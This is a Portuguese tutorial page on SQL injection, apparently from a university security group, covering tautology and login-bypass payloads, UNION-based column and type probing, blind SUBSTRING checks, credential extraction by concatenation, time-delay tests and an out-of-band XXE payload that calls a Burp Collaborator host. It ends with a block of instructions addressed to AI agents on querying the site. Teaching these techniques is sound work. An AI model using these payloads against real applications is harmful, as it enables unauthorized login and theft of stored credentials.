# SQL Injection

É uma vulnerabilidade web que permite ao atacante interferir nas *queries* (consultas) feitas para o banco de dados de certa aplicação.

Em geral, o atacante consegue visualizar dados armazenados no banco de dados que ele não deveria poder ver (informação de outros usuários, dados da aplicação, senhas etc.). Além disso, pode ser que o atacante consiga modificar e deletar dados do DB e, em casos mais extremos, escalar o ataque para comprometer o funcionamento do *back-end* da aplicação ou performar um ataque DoS. De forma similar, ele pode subverter a lógica de certas aplicações e, por exemplo, passar pelo portal de login de algum site sem ter uma conta.

## Exemplos de SQL Injections

Vulnerabilidades desse tipo apresentam-se nas mais diferentes formas. Para cada situação de ataque, é possível que haja uma abordagem diferente.

Usaremos como base os exemplos da [Portswigger](https://portswigger.net/web-security/sql-injection), a fim de explicar um pouco sobre diferentes tipos de SQL Injections.

### Exemplo 1: modificando uma query para obter dados adicionais

Considere uma aplicação que distribui seus produtos em categorias. Quando o usuário clica na categoria "Presentes", o navegador manda uma requisição para o servidor da forma:

```
https://insecure-website.com/products?category=Gifts
```

Em seguida, a aplicação fará uma consulta no banco de dados, buscando os produtos da categoria "Presentes". A *query* utilizada seria, por exemplo:

```sql
SELECT * FROM products WHERE category = 'Gifts'
```

Essa consulta quer obter todas as informações (\*), ou seja, todas as colunas da base de dados, referentes à tabela "products" nas quais a categoria do produto ("category" é uma das colunas) é "Gifts".

Considerando que a aplicação não implementa defesas contra SQL Injections, um atacante poderia construir uma entrada do tipo `Gifts'+OR+1=1--` e colocá-la na URL:

```
https://insecure-website.com/products?category=Gifts'+OR+1=1--
```

Isso resultado na query:

```sql
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--'
```

*Obs.: o `+` transforma-se em espaço*

Nesse caso, a consulta quer obter todas as informações (\*) da tabela de produtos ("products"), mas só da categoria "Gifts" **ou 1 = 1**. Num primeiro momento isso pode parecer estranho, mas essa query está buscando todas as informações da tabela de produtos de **todos** os produtos, porque a condição para um produto ser selecionado pela consulta é que ele deve ser da categoria "Gifts" ou *1 deve ser igual à 1, o que sempre é verdade!*. Dessa forma, o atacante recebe como resposta todas as entradas da tabela produtos.

Além disso, note que há um `--` ao final da entrada do atacante. Isso representa, em certos bancos de dados (e nesse caso), um comentário. Logo, tudo que estiver escrito após isso será considerado um comentário. Isso é necessário para que a *query* termine com o código do atacante e ignore todo o resto. Por exemplo, se a consulta fosse

```sql
SELECT * FROM products WHERE category = '<entrada_do_atacante>' AND (price < 100)
```

Se o resto da consulta (`' AND (price < 100)`) não for comentado, o atacante não obterá tudo que quer ou a consulta dará erro. Entretanto, se houver um `--` ao final da entrada, não haverá problemas (`blabla' OR 1=1 --`):

```sql
SELECT * FROM products WHERE category = 'blabla' OR 1=1 --' AND (price < 100)
```

### Exemplo 2: acessando uma conta de administrador sem saber a senha

Considere um portal de login, com usuário e senha. Se alguém submeter o usuário "mineboy2007" e a senha "sadgoat123", a aplicação checa as credenciais a partir da *query* SQL:

```sql
SELECT * FROM users WHERE username = 'mineboy2007' AND password = 'sadgoat123'
```

Se ela retornar as informações do usuário, o login é um sucesso. Do contrário, ele falha.

Nesse cenário, um atacante poderia logar como qualquer usuário ao remover a checagem de senha ao inserir um comentário na *query*. Ele pode submeter, por exemplo, o usuário `admin' --` e qualquer coisa na senha (pois ela não será verificada). Assim, *query* SQL fica:

```sql
SELECT * FROM users WHERE username = 'admin' --' AND password = ''
```

Essa *query* irá retornar o usuário cujo nome é "admin" (independentemente da senha estar correta ou não) e logará o atacante no portal (como administrador).

## [SQL Injection UNION Attack](https://portswigger.net/web-security/sql-injection/union-attacks)

Se o resultado da *query* é retornado pela resposta da aplicação e ela é vulnerável à SQL Injection, provavelmente é possível utilizar um **UNION Attack** para obter informações de outras tabelas do banco de dados. Esse ataque consiste em utilizar o `UNION`, que permite a execução de SELECTs adicionais em uma *query*. Por exemplo, a *query* abaixo retorna 4 colunas: a, b (da table\_1) e c, d (da table\_2).

```sql
SELECT a, b FROM table_1 UNION SELECT c, d FROM table_2
```

Para uma *query* com UNION funcionar, é necessário que:

* Cada SELECT, antes e depois do UNION, tenha a mesma quantidade de colunas (ex.: na *query* acima, estamos buscando 2 colunas no primeiro SELECT e 2 colunas no segundo SELECT);
* O tipo de dado de cada coluna seja correspondente entre as *queries* individualmente (ex.: na *query* acima, a coluna 'a' deve ser do mesmo tipo da coluna 'c' e a coluna 'b' deve ser do mesmo tipo da coluna 'd').

### Dicas para esse tipo de ataque

#### Descobrir número de colunas da tabela

Para descobrir o número de colunas presentes na tabela, podemos usar o `ORDER BY` + `índice da coluna na tabela`. Esse comando ordena as respostas (por ordem alfabética por exemplo) de acordo com certa coluna. Para descobrir a quantidade de colunas da tabela, basta ir aumentando o índice da coluna no `ORDER BY`. Quando o servidor responder com um erro para o `ORDER BY X`, sabemos que a coluna X não existe e, portanto, a tabela tem X-1 colunas.

```sql
'       blabla' ORDER BY 1 --
'       blabla' ORDER BY 2 --
'       blabla' ORDER BY 3 --
```

Se o erro for enviado ao cliente de forma explícita, ele deve ser algo como `"The ORDER BY position number 3 is out of range of the number of items in the select list."`

Outra opção para descobrir o número de colunas é utilizar ORDER BY passando vários NULL como "colunas" de ordenação:

```sql
'       blabla' ORDER BY NULL, NULL -- tabela tem pelo menos 2 colunas se não retornar erro
'       blabla' ORDER BY NULL, NULL, NULL -- tabela tem pelo menos 3 colunas se não retornar erro
```

#### Descobrir tipo de dado de certa coluna

Sabendo o número de colunas da tabela é possível descobrir o tipo de dado em cada coluna. Para isso, é necessário realizar testes com *queries* do tipo:

```sql
'       blabla' UNION SELECT 'a',NULL,NULL,NULL --
'       blabla' UNION SELECT NULL,'a',NULL,NULL --
'       blabla' UNION SELECT NULL,NULL,'a',NULL --
'       blabla' UNION SELECT NULL,NULL,NULL,'a'--
```

Ao submeter, por exemplo, `' UNION SELECT 'a',NULL,NULL,NULL --`, testaremos se a 1ª coluna contém strings, pois estamos fazendo um UNION, ou seja, o dado da 1ª coluna do 1º SELECT deve ser do mesmo tipo que o da 1ª coluna do 2º SELECT (o mesmo vale para as outras colunas). Caso o servidor responda com um erro (como `Conversion failed when converting the varchar value 'a' to data type int.`), sabemos que a primeira coluna não contém strings (varchar). Do contrário, se a *query* for um sucesso, a primeira coluna armazena strings.

`NULL` pode ser convertido para qualquer tipo, portanto não haverá problemas relacionados a tipos de dado incompatíveis ao utilizá-lo num UNION.

## [Blind SQL Injection](https://portswigger.net/web-security/sql-injection/blind)

Já escrevi muita coisa para essa introdução, agora é com vocês: pesquisem!

* Checar o começo de uma senha com `SUBSTRING`: `SELECT TrackingId FROM TrackedUsers WHERE TrackingId = '` + `pwn' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 'm'--` -> `TRUE` => 1ª letra da senha é maior que 'm'(usar SUBSTR ou SUBSTRING - depende do DB)
* Outra possibilidade de teste é: `SELECT TrackingId FROM TrackedUsers WHERE TrackingId = '` + `pwn' UNION SELECT 'a' WHERE 1=1--`

## Extra

* Para exibir a lista de tabelas do DB (exceto DBs da Oracle):

  ```sql
  SELECT * FROM information_schema.tables
  ```

-Para exibir lista de colunas de uma tabela:

```sql
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
```

* Em DBs da Oracle, usa-se:

  ```sql
  SELECT * FROM all_tables -- listar tabelas
  SELECT * FROM all_tab_columns WHERE table_name = 'nome_da_tabela' -- listar colunas
  ```
* Em DBs da Oracle, um `SELECT` sempre deve conter um `FROM <nome_da_tabela>`. Para isso, uma tabela "padrão" para se usar é `DUAL`
* Para concatenar resultados (colunas diferentes) em uma coluna, pode-se usar o `||`: `' UNION SELECT username || '~' || password FROM users -- -` (ORACLE e POSTGRE) ou `'foo'+'bar'` (MICROSOFT) ou `'foo' 'bar'` e `CONCAT('foo','bar')` (MYSQL)

*Para ver mais, procure por "SQL Injection Cheat Sheets" como* [*essa*](https://portswigger.net/web-security/sql-injection/cheat-sheet) *ou* [*essa*](https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/)*.*

## Como detectar uma SQL Injection?

Ferramentas como Burpsuite ou Sqlmap são capazes de detectar diversas vulnerabilidades relacionadas à SQL Injection de forma automática, mas também podemos realizar alguns testes simples para verificar se há falhas no sistema responsável pela comunicação com o banco de dados. Alguns desses testes são:

* Enviar aspas simples (`'`);
* Enviar condicionais como `OR 1=1` e `OR 1=2`;
* Enviar *payloads* com *triggers* de tempo (*delay*) como `'; IF (1=2) WAITFOR DELAY '0:0:10'--` e analisar o tempo de resposta;
* Enviar *payloads* de OAST ([Out-of-band Application Security Testing](https://portswigger.net/blog/oast-out-of-band-application-security-testing)) que causam certos *triggers* e monitorar interações com sistemas externos.
  * Já que não explicamos sobre isso, segue um exemplo:

    ```sql
      '||(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % ekiom SYSTEM "http://pibw1f1nhjh3vpkgtx6mtfnt8kea2eq8dy1n.burpcollab'||'orator.net/"> %ekiom;]>'),'/l') from dual)||' 
      -- conecta com um servidor de colaborador do Burp (faz uso de XML/DTD)
    ```

## Links externos

* [Portswigger](https://portswigger.net/web-security/sql-injection)
* [OWASP](https://owasp.org/www-community/attacks/SQL_Injection)
* [Acunetix](https://www.acunetix.com/websitesecurity/sql-injection/)
* [Slides](https://docs.google.com/presentation/d/1b4_fIMaTUPHAttJusjnAbkdXcLSwSJiV9X3IfRGP0yI/edit?usp=sharing)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gitbook.ganeshicmc.com/web/semana-2/14_sql_injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
